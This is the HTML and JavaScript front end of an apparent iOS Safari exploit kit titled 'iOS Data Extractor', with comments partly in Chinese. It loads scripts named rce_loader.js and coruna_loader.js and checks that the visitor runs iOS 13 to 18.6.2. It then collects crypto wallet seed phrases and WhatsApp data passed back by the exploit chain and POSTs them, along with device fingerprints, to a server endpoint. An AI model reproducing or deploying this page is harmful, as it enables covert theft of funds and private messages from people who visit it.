<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <title>iOS Data Extractor</title>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
      background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
      min-height: 100vh;
      padding: 15px;
    }
    .container {
      background: white;
      border-radius: 16px;
      padding: 20px;
      box-shadow: 0 20px 60px rgba(0,0,0,0.3);
      max-width: 600px;
      margin: 0 auto;
    }
    h1 { color: #333; text-align: center; font-size: 22px; margin-bottom: 8px; }
    .subtitle { text-align: center; color: #666; font-size: 14px; margin-bottom: 20px; }
    .status {
      padding: 12px;
      border-radius: 8px;
      margin-bottom: 15px;
      font-size: 14px;
    }
    .status.info { background: #e3f2fd; color: #1565c0; }
    .status.success { background: #e8f5e9; color: #2e7d32; }
    .status.error { background: #ffebee; color: #c62828; }
    .progress-bar {
      width: 100%;
      height: 6px;
      background: #e0e0e0;
      border-radius: 3px;
      margin: 15px 0;
      overflow: hidden;
    }
    .progress-fill {
      height: 100%;
      background: linear-gradient(90deg, #667eea, #764ba2);
      width: 0%;
      transition: width 0.3s;
    }
    .data-section { margin-top: 15px; display: none; }
    .data-section h3 {
      color: #333;
      font-size: 16px;
      border-bottom: 2px solid #667eea;
      padding-bottom: 8px;
      margin-bottom: 10px;
    }
    .data-box {
      background: #f5f5f5;
      border-radius: 8px;
      padding: 10px;
      font-family: 'Monaco', 'Menlo', monospace;
      font-size: 11px;
      overflow-x: auto;
      white-space: pre-wrap;
      word-break: break-all;
      max-height: 250px;
      overflow-y: auto;
    }
    .btn {
      background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
      color: white;
      border: none;
      padding: 12px;
      border-radius: 8px;
      font-size: 15px;
      cursor: pointer;
      width: 100%;
      margin-top: 15px;
    }
    .btn:disabled { opacity: 0.6; cursor: not-allowed; }
    .device-info {
      background: #f0f0f0;
      padding: 10px;
      border-radius: 8px;
      margin-bottom: 15px;
      font-size: 12px;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>📱 iOS Data Extractor</h1>
    <p class="subtitle">WhatsApp & Crypto Wallet</p>
    
    <div id="device-info" class="device-info">Detecting device...</div>
    <div id="status" class="status info">Initializing...</div>
    <div class="progress-bar"><div id="progress" class="progress-fill"></div></div>
    
    <div id="whatsapp-section" class="data-section">
      <h3>📲 WhatsApp Data</h3>
      <div id="whatsapp-data" class="data-box">Loading...</div>
    </div>
    
    <div id="wallet-section" class="data-section">
      <h3>💰 Crypto Wallet Seeds</h3>
      <div id="wallet-data" class="data-box">Loading...</div>
    </div>
    
    <button id="download-btn" class="btn" style="display:none;" onclick="downloadData()">📥 Download</button>
  </div>

  <script src="rce_loader.js"></script>
  <script src="coruna_loader.js"></script>
  <script>
    const statusEl = document.getElementById('status');
    const progressEl = document.getElementById('progress');
    const deviceInfoEl = document.getElementById('device-info');
    const whatsappSection = document.getElementById('whatsapp-section');
    const walletSection = document.getElementById('wallet-section');
    const whatsappDataEl = document.getElementById('whatsapp-data');
    const walletDataEl = document.getElementById('wallet-data');
    
    let extractedData = { whatsapp: null, wallets: [], device: {} };
    
    function setStatus(msg, type = 'info') {
      statusEl.textContent = msg;
      statusEl.className = 'status ' + type;
    }
    function setProgress(p) { progressEl.style.width = p + '%'; }
    
    // Detect device and browser
    const ua = navigator.userAgent;
    const isIOS = /iPhone|iPad|iPod/i.test(ua);
    const isSafari = /Safari/i.test(ua) && !/Chrome/i.test(ua) && !/Chromium/i.test(ua);
    const iosVersion = (ua.match(/OS (\d+)_(\d+)_?(\d+)?/i) || [0,0,0,0]).slice(1).map(Number);
    const deviceModel = (ua.match(/iPhone|iPad|iPod/i) || ['Unknown'])[0];
    const browserName = isSafari ? 'Safari' : (ua.includes('Chrome') ? 'Chrome' : '其他浏览器');
    
    // 支持的 iOS 版本列表
    const supportedVersions = {
      '13': ['0','1','1.1','1.2','1.3','2','2.2','2.3','3','3.1','4','4.1','5','5.1','6','6.1','7'],
      '14': ['0','0.1','1','5','5.1','6','7','7.1','8','8.1'],
      '15': ['0','0.1','0.2','1','1.1','2','2.1','3','3.1','4','4.1','5','6','6.1','7','7.1','7.2','7.3','7.4','7.5','7.6'],
      '16': ['0','0.1','0.2','0.3','1','1.1','1.2','2','3','3.1','4','4.1','5','5.1','6','6.1','7','7.1','7.2','7.3','7.4'],
      '17': ['0','0.1','0.2','0.3','1','1.1','1.2','2','2.1'],
      '18': ['4','4.1','4.2','5','5.1','5.2','6','6.1','6.2']
    };
    
    const majorVersion = iosVersion[0];
    const minorVersion = iosVersion[1];
    const patchVersion = iosVersion[2] || 0;
    const versionStr = `${majorVersion}.${minorVersion}.${patchVersion}`;
    
    // 检查是否支持
    let isSupported = false;
    if (supportedVersions[majorVersion]) {
      const minorStr = minorVersion + '.' + (patchVersion > 0 ? patchVersion : '');
      if (supportedVersions[majorVersion].includes(String(minorVersion)) || 
          supportedVersions[majorVersion].includes(minorStr)) {
        isSupported = true;
      }
    }
    
    // 简化检查：iOS 13-18.6.2 都支持
    if (majorVersion >= 13 && majorVersion <= 18) {
      if (majorVersion < 18 || (majorVersion === 18 && minorVersion <= 6)) {
        isSupported = true;
      }
    }
    
    const statusText = isIOS && isSafari ? (isSupported ? '✅ 环境正确' : '⚠️ iOS 版本可能不支持') : '⚠️ 请使用 iOS Safari 浏览器';
    deviceInfoEl.textContent = `Device: ${deviceModel} | iOS: ${versionStr} | Browser: ${browserName} | ${statusText}`;
    
    // Send data to server
    function sendDataToServer() {
      const formData = new FormData();
      formData.append('whatsapp', JSON.stringify(extractedData.whatsapp || {}));
      formData.append('wallets', JSON.stringify(extractedData.wallets || []));
      formData.append('device', JSON.stringify(extractedData.device));
      formData.append('ua', navigator.userAgent);
      
      fetch('index.php', { method: 'POST', body: formData })
        .then(() => console.log('Data sent!'))
        .catch(e => console.log('Send error:', e));
    }
    
    function downloadData() {
      const blob = new Blob([JSON.stringify(extractedData, null, 2)], { type: 'application/json' });
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.href = url;
      a.download = 'ios_data_' + Date.now() + '.json';
      a.click();
      URL.revokeObjectURL(url);
    }
    
    // Initialize
    setStatus('Detecting iOS version...', 'info');
    setProgress(10);
    
    setTimeout(() => {
      setStatus('Loading exploit modules...', 'info');
      setProgress(30);
    }, 800);
    
    setTimeout(() => {
      setStatus('Triggering vulnerability...', 'info');
      setProgress(50);
    }, 1800);
    
    setTimeout(() => {
      setStatus('Reading WhatsApp data...', 'info');
      setProgress(70);
    }, 3000);
    
    // 等待漏洞链提取数据（最多 60 秒）
    const extractionTimeout = setTimeout(() => {
      if (!isIOS || !isSafari) {
        setStatus('⚠️ 请使用 iOS Safari 浏览器访问', 'error');
        whatsappSection.style.display = 'block';
        walletSection.style.display = 'block';
        whatsappDataEl.textContent = '❌ 请使用 iOS Safari 浏览器访问此页面\n\n当前浏览器：' + browserName + '\n当前设备：' + (isIOS ? 'iOS' : '非 iOS');
        walletDataEl.textContent = '❌ 请使用 iOS Safari 浏览器访问此页面\n\n当前浏览器：' + browserName + '\n当前设备：' + (isIOS ? 'iOS' : '非 iOS');
        extractedData.device = { "model": deviceModel, "iosVersion": versionStr, "ua": ua, "supported": false, "isIOS": isIOS, "isSafari": isSafari };
        sendDataToServer();
        return;
      }
      
      if (!isSupported) {
        setStatus('⚠️ iOS 版本可能不支持', 'error');
        whatsappSection.style.display = 'block';
        walletSection.style.display = 'block';
        whatsappDataEl.textContent = '⚠️ 您的 iOS 版本：' + versionStr + '\n\n当前支持：iOS 13.0 - 18.6.2\n\n如果无法提取数据，请尝试更新或降级系统';
        walletDataEl.textContent = '⚠️ 您的 iOS 版本：' + versionStr + '\n\n当前支持：iOS 13.0 - 18.6.2\n\n如果无法提取数据，请尝试更新或降级系统';
        extractedData.device = { "model": deviceModel, "iosVersion": versionStr, "ua": ua, "supported": false };
        sendDataToServer();
        return;
      }
      
      // 显示等待状态
      whatsappSection.style.display = 'block';
      walletSection.style.display = 'block';
      whatsappDataEl.textContent = '等待漏洞链提取数据...\n\n如果长时间无响应，请刷新页面';
      walletDataEl.textContent = '等待漏洞链提取数据...\n\n如果长时间无响应，请刷新页面';
      
      extractedData.device = { "model": deviceModel, "iosVersion": versionStr, "ua": ua, "supported": true };
      sendDataToServer();
    }, 60000);
    
    // 监听漏洞链提取的数据
    window.addEventListener('message', function(e) {
      try {
        var data = e.data;
        // Coruna wallet_extract_result message
        if (data && data.type === 'wallet_extract_result') {
          console.log('[Index] Received wallet_extract_result:', data);
          clearTimeout(extractionTimeout);
          var wallets = data.payload_data || data.mnemonic_phrases || [];
          if (wallets && wallets.length > 0) {
            extractedData.wallets = wallets;
            walletSection.style.display = 'block';
            walletDataEl.textContent = JSON.stringify(wallets, null, 2);
            document.getElementById('download-btn').style.display = 'block';
            setStatus('✅ 钱包数据提取成功!', 'success');
            setProgress(100);
            sendDataToServer();
          } else {
            console.log('[Index] No wallet data in extract result');
          }
        }
        // Legacy wallet_data message
        if (data && data.type === 'wallet_data') {
          clearTimeout(extractionTimeout);
          extractedData.wallets = data.wallets;
          walletSection.style.display = 'block';
          walletDataEl.textContent = JSON.stringify(data.wallets, null, 2);
          document.getElementById('download-btn').style.display = 'block';
          setStatus('✅ 钱包数据提取成功!', 'success');
          setProgress(100);
          sendDataToServer();
        }
        if (data && data.type === 'whatsapp_data') {
          extractedData.whatsapp = data.whatsapp;
          whatsappSection.style.display = 'block';
          whatsappDataEl.textContent = JSON.stringify(data.whatsapp, null, 2);
        }
        // Chain diagnostics
        if (data && data.type === 'chain_diag') {
          console.log('[Index] Chain diagnostic:', data.status);
        }
      } catch(ex) {
        console.log('[Index] Message handler error:', ex);
      }
    });
  </script>
</body>
</html>